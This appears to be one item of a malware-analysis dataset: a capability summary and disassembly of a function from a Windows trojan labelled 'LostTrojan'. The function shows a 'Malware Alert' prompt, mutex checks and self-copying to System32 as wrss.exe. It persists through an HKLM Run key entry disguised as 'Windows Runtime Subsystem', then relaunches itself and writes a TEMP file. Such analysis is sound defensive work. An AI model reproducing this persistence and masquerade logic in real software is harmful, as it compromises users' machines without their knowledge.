Function at 0x401040
Capabilities:
Check if file exists
Check mutex and terminate process on windows
Check mutex on windows
Copy file
Create directory
Create process on windows
Create process suspended
Create thread
Get file attributes
Persist via run registry key
Query environment variable
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0xc4c
mov eax, dword [0x405004]
xor eax, esp
mov dword [esp + 0xc48], eax
mov eax, dword [ebp + 0x10]
push esi
push 0x403178
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
add esp, 8
test eax, eax
jne 0x401094
push str.miE78RYDI1f129Y0GWaTN8HWliVvAQphSUY4NMX4atgznk2WoE
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401212
jmp 0x4011fb
push 4
push str.Malware_Alert
push str.Run_Trojan:Win32_LostTrojan.A_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
cmp eax, 7
je 0x4011fb
mov esi, dword [sym.imp.KERNEL32.dll_CreateMutexW]
push str.xcfquoigERQOeqGG9nhy5hgcCBHe7dhPJBkVc2MqjbqWloW66M
push 0
push 0
call esi
push str.miE78RYDI1f129Y0GWaTN8HWliVvAQphSUY4NMX4atgznk2WoE
push 0
push 0
call esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4011fb
lea eax, [esp + 0x10]
push eax
push 2
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push 0x104
lea eax, [esp + 0x464]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x44
push str._SystemRoot_System32wrss.exe__s
push 2
push 0
push str.Windows_Runtime_Subsystem
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x104
lea eax, [esp + 0x7c]
push eax
push str.SystemRoot
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push str.System32wrss.exe
lea eax, [esp + 0x7c]
push 0x104
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll_wcscat_s]
add esp, 0xc
lea eax, [esp + 0x78]
push 0
push eax
lea eax, [esp + 0x468]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
xorps xmm0, xmm0
mov dword [esp + 0x18], 0x44
lea eax, [esp + 0x78]
movlpd qword [esp + 0x1c], xmm0
push eax
lea eax, [esp + 0x84c]
movlpd qword [esp + 0x28], xmm0
push str.__s___s
push eax
movlpd qword [esp + 0x38], xmm0
movlpd qword [esp + 0x40], xmm0
movlpd qword [esp + 0x48], xmm0
movlpd qword [esp + 0x50], xmm0
movlpd qword [esp + 0x58], xmm0
movlpd qword [esp + 0x60], xmm0
movaps xmmword [esp + 0x6c], xmm0
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [esp + 0x60]
push eax
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 8
push 0
push 0
push 0
lea eax, [esp + 0x868]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
mov ecx, dword [esp + 0xc4c]
xor eax, eax
pop esi
xor ecx, esp
call fcn.00401453
mov esp, ebp
pop ebp
ret 0x10
push 0x1f4
lea eax, [esp + 0x464]
push eax
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea eax, [esp + 0x460]
push eax
lea eax, [esp + 0x84c]
push str._slost.dat
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [esp + 0x848]
push 0x40320c
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
mov esi, eax
lea eax, [esp + 0x18]
push eax
call dword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
add esp, 0xc
push dword [esp + 0x14]
push dword [esp + 0x14]
push 0x403210
push esi
call fcn.00401010
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x14
lea eax, [esp + 0x460]
push eax
lea eax, [esp + 0x7c]
push str._swrss
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [esp + 0x78]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x4012c0
push 0
lea eax, [esp + 0x7c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0
push 0
push 0
push 0x4012f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.00401350
int3